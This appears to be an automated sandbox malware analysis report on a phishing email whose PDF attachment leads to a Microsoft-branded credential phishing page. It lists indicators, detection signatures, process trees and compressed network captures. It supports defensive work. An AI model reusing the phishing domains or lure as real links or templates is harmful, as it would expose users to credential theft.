Edit tour

Windows Analysis Report
Proposal Invitation_ Proposal is Due by the EOB May 15.eml

Overview

General Information

Sample name:	Proposal Invitation_ Proposal is Due by the EOB May 15.eml
Analysis ID:	1428429
MD5:	57adf070787085068546291316a61514
SHA1:	5e351ee38e678ebba37ee8695ee26c92caa9d597
SHA256:	0f1372a229c9c666e20330d65822a1e6b10bf7fdd8f09559a5a4c30baa2bc67a
Infos:

Detection

HtmlDropper, HTMLPhisher

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Html Dropper

Yara detected HtmlPhish10

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid 'sign-in options' or 'sign-up' link found

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 6464 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Proposal Invitation_ Proposal is Due by the EOB May 15.eml" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 6768 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "E83E2E2F-3C0E-41CF-B558-B807933036CE" "8924B1C6-6665-4B65-867E-5DC3578DA012" "6464" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 4868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://www.pipebending.com/#/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1940,i,13760317712537378368,5754615531193540325,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

Acrobat.exe (PID: 6704 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\B3WU6MDI\Proposal From Benpro.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6128 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7412 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1952 --field-trial-handle=1548,i,5454143950614230969,9627112382424457237,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 4936 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ridgelineexcavatoin.com/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7364 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1828,i,17912482148884077037,9483964587081324458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
3.7.pages.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security
3.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6464, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match

File source: 3.7.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301

Matcher: Template: microsoft matched

Source: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301

HTTP Parser: Number of links: 0

Source: https://ridgelineexcavatoin.com/

HTTP Parser: Base64 decoded: https://ridgelineexcavatoin.com/

Source: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301

HTTP Parser: Title: bf2d17ea43d9a21b47ee7113bd06321c66218b24a22c3 does not match URL

Source: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301

HTTP Parser: Invalid link: get a new Microsoft account

Source: http://www.pipebending.com/#/	HTTP Parser: No favicon
Source: http://www.pipebending.com/#/	HTTP Parser: No favicon
Source: https://ridgelineexcavatoin.com/	HTTP Parser: No favicon
Source: https://ridgelineexcavatoin.com/	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal	HTTP Parser: No favicon
Source: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301	HTTP Parser: No favicon

Source: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301

HTTP Parser: No <meta name="author".. found

Source: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.216.69.213:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.216.69.213:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.7.35:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49800 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 104.17.3.184 104.17.3.184
Source: Joe Sandbox View	IP Address: 184.25.164.138 184.25.164.138
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 104.17.2.184 104.17.2.184

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.216.69.213
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.7.35
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 18 Apr 2024 21:05:21 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveLast-Modified: Tue, 05 Jan 2021 13:37:47 GMTETag: "9e0c96-b56-5b8274fe200c0-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 1280Keep-Alive: timeout=5Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 56 5b 6f db 36 14 7e 4e 7f 05 a3 87 ca 46 74 49 d3 66 49 63 c9 83 73 41 db 61 0d 86 22 5b 31 04 c1 40 4b 47 12 3d 8a d4 48 ca 9e 91 e4 bf ef 50 17 47 71 93 20 0f 7b 91 c8 c3 73 f9 ce 95 8c 76 53 99 98 75 05 a4 30 25 9f 46 bb be 7f cd 32 c2 0d f9 72 41 8e 6e a6 6f 22 4b 27 09 a7 5a c7 8e 90 fe 42 e3 a1 cf e0 63 fb 3b 6e 7f 47 ce 94 44 bb d7 20 52 96 dd f8 fe 46 cf 2b 95 3c 2f 7d fc 92 f4 33 62 b9 e9 24 2d e1 29 71 87 88 dc a7 55 15 3b 46 b1 8a c3 f9 ac aa 9c 86 7b a8 0e 05 81 a6 d3 37 3b f6 80 7c e2 72 4e 39 d1 cc 00 31 34 27 a3 1c bf c1 42 8f 09 9e 49 99 73 20 33 41 f9 da b0 44 13 2b bd 13 e9 04 b5 1b 42 f5 5a 24 44 ab 24 76 0a 63 2a 7d 12 86 ab d5 2a c8 1b 21 54 52 52 41 73 50 41 22 cb d0 2a 0d 17 fa 67 96 c6 bf cf fc 77 07 07 fb ef 7f 3a d8 3f f6 df 21 bc b0 d5 f7 a0 19 57 3b 2b 26 52 b9 0a 52 6a e8 af 74 0d 8a c4 e4 07 d2 dd 1d b9 be 99 20 73 56 8b c4 30 29 88 35 33 1a df 6e 58 82 aa d6 c5 88 aa bc 2e 41 18 3d 9e dc 23 77 c3 e4 2e b4 eb 11 01 2b 72 4e 0d 8c c6 63 ab 67 73 98 48 91 b1 1c 19 dc c7 68 5d cb 36 00 dc c7 b0 8d d3 15 86 ef 6b eb f4 a3 48 59 7f 46 3d c6 d1 ca 4b 3d ed 71 8f 8d 6f 57 d7 fc 26 b6 9f bb 3b 74 c4 2e 5a c0 b7 6e 6e ca 40 1b aa 8c 7b 82 c2 0f 30 83 1c cc 15 2b 71 e5 c1 12 5d 3a 69 38 d1 97 fb f1 64 49 15 c9 e2 d4 b2 5c 70 68 1c 3e 5d 23 a6 4b 8a fc 7a 7c bd 7f e3 a1 ae 05 72 24 0a 50 5b c7 84 47 5e ca 63 be 1b bb 9b b8 b9 3f bb 6f 79 ec ee f1 13 d7 9d 2c 82 26 d3 b1 51 35 e0 c6 26 1c f5 b8 af c8 b9 45 66 53 ee ee b1 bd 94 4f b2 a0 a2 0a 2d 5e ca 14 02 26 34 28 73 0a 99 54 30 5a 78 59 93 80 fb f1 a8 cd b2 87 dd db e4 cc 73 db 18 ba de 00 9d e7 7e ba fa ea 7f 3f fc 76 f8 f9 97 b3 ed 9c 34 19 b9 10 e9 73 59 41 8e 12 a1 92 a4 a0 4a 83 89 9d da 64 3e 76 2a d2 0d 33 28 80 3d 34 47 10 b1 e3 9e 82 a8 94 24 57 90 14 42 72 99 33 d0 e4 4c aa 2a 20 6f cb 94 ea 62 42 5c b2 47 1a 29 67 fa 2c 73 14 36 1c d3 de b0 c0 7c c4 4e 0a 2d 62 2c 09 87 60 bd 19 74 36 76 4e 6d 97 8a 9c 98 02 48 25 b5 66 73 c6 99 41 55 01 f9 8e a3 8c 2e a1 39 52 2c 2f 0c 81 7f 6a 56 d9 20 11 8a ee 3e d0 2b 90 d8 fc c4 48 92 02 67 4b f4 1b 6b 45 ad 11 68 09 81 b3 85 63 c9 60 55 49 65 06 20 56 2c 35 45 9c c2 92 25 e0 37 9b 6d a1 4c 61 aa 91 77 20 b4 db 0e 1a f2 1b a7 09 90 8c a2 b0 14 01 7e 1a 70 38 94 38 f8 46 d6 49 e1 37 07 15 3a c9 44 0b 5a 4a 43 52 a6 20 31 12 51 b6 9d c3 99 f8 9b 28 e0 b1 a3 cd 9a 83 2e 00 d0 5a a1 20 eb 29 21 d6 7f 2a b1 d4 b4 76 5e 29 f1 ee c3 21 4d 0e e0 28 40 38 1b b9 39 d5 d0 b1 85 48 88 c2 76 3a 46 73 99 ae 09 16 af 73 7b 4b ec fa 4b 4a ee ef 9d 7e de 76 c4 33 bb 6b e8 58 35 36 16 4a 72 0e 0a 13 89 5a cf 8c e2 ce f4 f9 19 31 12 b2 ad 81 71 e7 74 bf b7 03 23 62
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 18 Apr 2024 21:05:21 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveLast-Modified: Thu, 19 Nov 2020 22:04:09 GMTETag: "de0a14-22c31-5b47ce83fe840-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 22278Keep-Alive: timeout=5Content-Type: text/cssData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd ed 92 eb b8 b1 20 f8 2a ba a7 a3 a3 fb f8 48 6a 51 df aa 8a ae f5 1d 4f dc 99 1b 31 9e f9 e3 1b 31 11 ed b3 13 94 44 95 e8 a6 44 99 a4 ce 87 35 f5 2e fb 2c fb 64 8b 6f 24 12 09 90 54 55 77 db b3 76 45 fb 50 40 22 01 64 26 90 40 22 91 f8 fd ee 98 56 75 d6 0c de fd c7 9f fe 6d b4 7e f7 f8 fb 43 79 6e 46 87 74 97 dd d4 d7 29 2f be 3e fc c7 39 ff 94 fd a1 3c ff 8f 6d f1 58 57 bb 87 6b 55 7c ff 43 dd 7c 2d b2 fa 07 0e 57 ff 00 20 c6 59 d9 bc ef 06 f6 7f 7d 93 67 87 fc cb fb c1 a1 ac 4e 69 f3 fd bb ec b4 cd f6 fb 6c 3f 2a 2f d9 b9 f9 7a c9 de bd 1f c6 b1 7c 2e 0f 07 5b 9e ff 6a 2d d2 34 a0 44 53 5d b3 4e 15 d5 9f 9e bf 01 bf 2d 06 96 f1 ee fd a3 20 d7 e7 2c 7f 3e 36 0f f3 c9 44 fe 16 c8 1e ce 1c b0 78 69 a1 6d 0b c5 ba 50 f5 0d 48 da 97 9e 77 10 d3 a1 e4 9b 93 f1 3f 95 45 bb 94 4a a0 2e 24 b5 90 af 24 ac 42 d4 93 bc aa 54 7f 22 ab 82 90 d4 32 e9 97 20 78 3b 0d 3b 92 fa 6d e8 7c 07 91 ef a3 30 26 6f 7f da fe f0 bb 7f 19 c8 cf fc 6f d9 78 57 d7 83 4f b3 f1 64 9c 0c fe f7 e0 8f ff fe a7 c1 7f cb 77 d9 b9 ce d8 af e7 bc 19 e7 e5 0f 06 76 f0 bb 1f 7e 7f ca f6 79 3a b8 54 f9 b9 b9 fd ee d6 64 5f 18 f2 63 ba 2f 3f 33 ec e7 ec 5f f2 d3 a5 ac 9a f4 dc 3c ee ca a2 ac 1e be 99 4c 26 20 71 9b ee 7e 7e ae ca eb 79 ff d0 54 e9 b9 be a4 15 23 2f 04 28 bf d0 f8 5e d2 61 fa f0 29 af f3 26 db cb 6a f7 d9 ae ac d2 26 2f cf 0f 0c 5f 56 15 f9 39 7b 49 7f 3a 56 d9 e1 e3 43 7a 68 b2 ea b6 63 7d 67 f8 1f de 0d be 7f 37 48 9b a6 fa 9e e7 be 1f bc 7b ff ee 25 dd 6e ab 9f 9a bc 29 b2 30 b4 c8 56 e0 02 f1 ff fd e3 bb bf a4 9f d2 7a 57 e5 17 06 a8 4a 0e 4d e6 37 ef 3c 64 ef 5e b6 45 b9 fb f9 af d7 b2 c9 86 97 2a bb 6d cb 8a b5 f6 21 b9 7c 19 d4 65 91 ef 07 df 6c 36 9b c7 4b fa 9c 8d b6 55 96 fe 3c ca cf 75 be cf 1e d2 4f 65 be 7f 69 8e 59 ba bf ed f3 fa 52 a4 5f 1f 9a 74 5b 64 23 9e 94 55 23 4e c8 cb 4b 7e 7a 1e 36 d5 2d 54 9e 65 df 4e e9 97 d1 e7 7c df 1c 1f 92 c9 e4 5b 40 d3 e3 74 78 9c 0d 2f b7 b2 ba 1c 19 37 1e 66 8f 0c ac fc cc 3e 64 16 c4 2a ba a5 90 d6 59 91 ed 9a 1b e0 e6 37 87 c3 01 20 1e 9f d3 4f db b4 32 ed e6 bc 7c 19 8b d6 0f 9a fd 50 7f 1d 01 8a 91 12 18 84 68 db 9c 9f c6 3b 26 26 cd 70 bc af ca cb f5 f2 04 d2 14 31 47 4d 79 19 51 02 f7 32 2e d2 6d 56 10 34 67 60 aa 41 1a 07 2b 5f a4 97 3a 7b d0 1f 10 8d 24 bc 84 cc f6 b6 0f 20 e9 48 d4 b2 df ef 01 96 d0 ac f6 dd 7f 29 be 5e 8e 39 13 99 7a f0 5f d3 e2 c0 24 f9 b9 fe ce ce 5c db f2 73 56 fd af 5d c9 10 9d 33 3e 1d 6c cb b2 a9 d9 00 ba 8c ea b4 ae 47 6c ae c9 77 79 5a fc f0 29 3b ef cb ea 07 96 96 35 7a ea 30 b0 3f 3c 9b 5a 46 47 5d cb a8 ca 9e af 45 5a a1 b9 f2 57 aa b1 fb b4 fb 6b 34 28 3c 83 ff 1a b5 47 95 c1 af d1 00 ae 57 2c c0 f
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 18 Apr 2024 21:05:21 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveLast-Modified: Sat, 12 Aug 2017 18:25:18 GMTETag: "de0a13-442e-556928d379f80-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 4792Keep-Alive: timeout=5Content-Type: application/javascriptData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5c eb 72 db 46 96 7e 95 1e 54 c6 91 2a 20 44 29 71 6c d3 96 33 32 65 27 9e f8 a2 b1 94 b8 b6 bc ae ad 26 d0 24 7b 04 a0 11 5c 48 71 54 aa 9a d7 d8 1f fb 0e fb 0c fb 28 f3 24 f3 9d d3 8d 0b 45 52 92 6d c5 e5 d9 9a 3f 16 d0 e8 3e f7 3b 40 7b 55 a1 44 51 e6 3a 2c bd 87 32 9d 54 b1 cc 83 c4 44 55 ac b6 3c 2c 67 b1 3a 3c c8 32 cf 7f e7 55 3a c8 4d 55 aa dc f3 bd 74 32 34 e6 54 ab 82 af df a8 c2 54 79 a8 f8 e6 58 a6 ba d4 7f b3 37 07 a9 4e 64 49 d7 13 63 26 b1 ea 25 32 b3 67 8e 0e 9f fd aa d5 1c d0 de 6f 07 a1 49 c7 7a b2 f5 ce fb aa 28 b1 fd 28 37 33 1d 31 a2 af aa 3c 7e c3 58 db c5 71 95 86 a5 36 e9 96 f4 47 db e7 32 e0 33 5b 9e 24 32 cf b1 7f e0 ed 78 7e a9 cb 58 0d bc 9f 4c 02 ec 91 2a 42 f0 42 87 06 de 09 73 25 0e c5 91 ce 94 78 a2 d2 48 a7 13 cf 1f 99 68 f1 3c 1a 78 53 3e 31 03 6d c5 e0 7c aa 24 50 0e ce 4b 95 64 31 b0 fc 42 d0 f9 d9 4e 68 92 c4 a4 3b 76 47 50 66 71 30 2d 93 d8 bb f0 c1 4c a9 d2 f2 aa 43 6e 4b f7 d4 d8 98 f2 6a 4c 76 47 e7 cc c5 c5 76 87 f7 20 cb a1 b6 b0 2c 7a 85 ca 67 3a 24 dd 58 69 ac 79 e0 a4 73 e4 9e 88 3b e2 b8 79 76 bd b0 44 0d 51 c8 34 12 35 54 11 4b f7 54 4e 54 2b cf 35 d8 9d 70 3d 27 86 3f 79 6b d9 5e 39 68 d9 66 f9 e6 26 8e 21 ad 86 81 9a fa 61 99 93 30 3d 99 e7 66 de 4b e5 ec 4f eb 25 b3 16 a1 4e c3 b8 02 f7 3b cd e9 5a 39 5e 51 8d e8 5e 4f 24 89 e5 a3 80 ae ec ef 20 b8 4e 93 81 4e 69 01 a8 1b 0b ef ac 6c 56 a6 e8 89 e7 ed be df 5f b1 f4 68 18 cb a2 18 78 1d fa 3e 52 dd 2d 8b b7 a7 f8 8e 20 3f cc 04 ae d5 50 68 e2 a8 37 aa 83 89 53 d2 f2 e2 95 7a 1a 62 6b 1b 8c 3e ab aa 96 a9 fc 58 6d 75 a1 dc a2 c2 96 88 bb 65 9d 21 ef 61 a1 ca 65 dc 68 ac bb 74 a5 be 8e 3b 1b 3f ab b6 ba 14 7e ac ae 5a 18 b7 a8 a9 0e 61 b7 ee 5b 08 bb 4b 6e e5 ee af f1 28 b7 eb 33 3b 93 c3 fa f1 7e c4 00 6e d5 85 2c 49 b7 ac 15 19 45 9a 64 2a e3 95 8a 63 67 ed b3 2b b5 75 d0 9c f8 ac a5 48 47 73 6b 69 fe 58 2d ae 01 76 8b 1a 5d 47 ea 27 69 17 25 66 26 d3 45 0f a8 c6 3a 56 b5 1e 57 96 9d 0a 87 76 5d 1c d5 eb b7 ac a8 15 bc 37 53 c3 a5 63 4d f5 b6 2c ce cb c0 3f 49 70 a5 0a a7 a9 89 cd 44 87 50 86 4e 53 33 93 dd 3a 6d f3 f3 cf 24 ca cd 04 dc 4c a6 9b ce 6f 10 ee 46 74 9f 24 e5 df 2a 19 eb 72 d1 83 9f 22 bf a4 61 63 a0 6b 1e 7c 26 b9 ae c1 7c 33 81 ae 1c dc 20 c9 55 04 9f e6 e1 32 57 2a 6f 22 74 73 fb b9 3c ba c6 77 43 4f b6 db 37 79 b0 03 f6 89 21 2f 2d 65 58 f6 aa 56 26 9d 95 cf 16 e8 5a 94 37 8d 71 f5 89 35 f9 64 68 1f fe b2 21 91 74 b0 7d b0 e8 fc 51 30 9f aa 74 cb f3 7c 6f c7 db be 78 bf 1d e4 55 4a 23 9b d8 84 2e a2 78 5f e5 c6 94 c7 a1 c9 d4 e5 29 cd 28 f8 0a 97 6e be 33 9c ca 74 a2 8e 4b 99 97 4b fb 42 da c7 92 df 0f ed 5f 60 ed 48 1c ab 9d 3b 3c b3 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 18 Apr 2024 21:05:22 GMTServer: ApacheLast-Modified: Tue, 05 Jan 2021 13:42:06 GMTETag: "de0a92-3a5-5b8275f520780-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 450Keep-Alive: timeout=5Connection: Keep-AliveContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 53 cb 6e dc 30 0c fc 15 46 b9 b4 40 b5 6e 7b 4c bc 06 9a fc 42 7e 80 b6 b9 32 53 59 12 24 39 cd 62 91 7f 2f e5 c7 76 e3 73 0f b2 24 0e 39 26 67 ec da e1 1b 74 16 53 3a 2a 39 b6 18 61 d9 74 4f 27 9c 6c 56 10 bd a5 19 64 83 99 bd 53 4d dd f3 b5 a8 f3 2e 23 3b 8a fa 64 27 ee 05 bc d3 1a 9e 22 ba 1e ca ca de 18 4b 60 28 83 89 7e 0a d4 c3 c9 47 68 29 67 8a 30 fa 96 05 ed 39 05 8b 67 d0 fa 13 f7 da c9 40 d8 53 14 e6 76 ca d9 3b c8 e7 20 0d 2d 17 b5 cb 5d 5e a7 a0 c7 8c eb a5 f4 68 2d 86 74 0d 63 94 76 8e ea 7e ad b9 c2 4d 9d 02 ba 8d 31 45 ed 9d 3d ab e6 65 19 e1 9f 02 75 55 f2 1a f8 94 ce a2 84 16 3a 61 f9 1f 70 5d 2d 03 4a 1e ee 66 6c 8b b8 0a 86 48 a7 a3 aa a4 82 47 03 29 76 c2 32 a2 a1 54 59 6f fc e1 35 18 05 29 9f 8b 00 23 be eb 3f dc e7 e1 c1 79 47 77 3c 06 1f 33 ba fc 08 4b 14 7e fc fc 1e de 1f 15 a0 15 5d 9e c8 85 e8 e1 85 ba c1 79 e1 62 4a f0 ec 63 38 94 e6 50 96 58 b4 d8 fc 2c ca 51 97 21 0f b3 3c 60 d9 fd 4e df 8a c1 a3 6c c5 7e 2f 50 84 f2 91 90 cb b3 f3 b3 29 ec cc de ec cd 05 d8 bb 02 dc 5f 47 bf b1 6a b2 37 b2 6c 45 b2 09 64 19 9c d1 91 02 a1 8c c3 99 46 60 57 52 54 89 af 55 17 ec 32 bf d1 03 a7 5f f3 e1 4b c9 3b 4c d1 7e fd 10 0a 2c 99 ab c2 f7 97 0b 6c 20 7c 08 ba dd 1d 8e 24 81 7a 35 6c dd 8a 42 96 e5 31 d9 5b ad aa c3 6e 86 59 80 5b 7c f7 2b 2d b8 14 35 7f 01 fb 0d b6 f3 a5 03 00 00 Data Ascii: Sn0F@n{LB~2SY$9b/vs$9&gtS:*9atO'lVdSM.#;d'"K`(~Gh)g09g@Sv; -]^h-tcv~M1E=euU:ap]-JflHG)v2TYo5)#?yGw<3K~]ybJc8PX,Q!<`Nl~/P)_Gj7lEdF`WRTU2_K;L~,l \|$z5lB1[nY[\|+-5
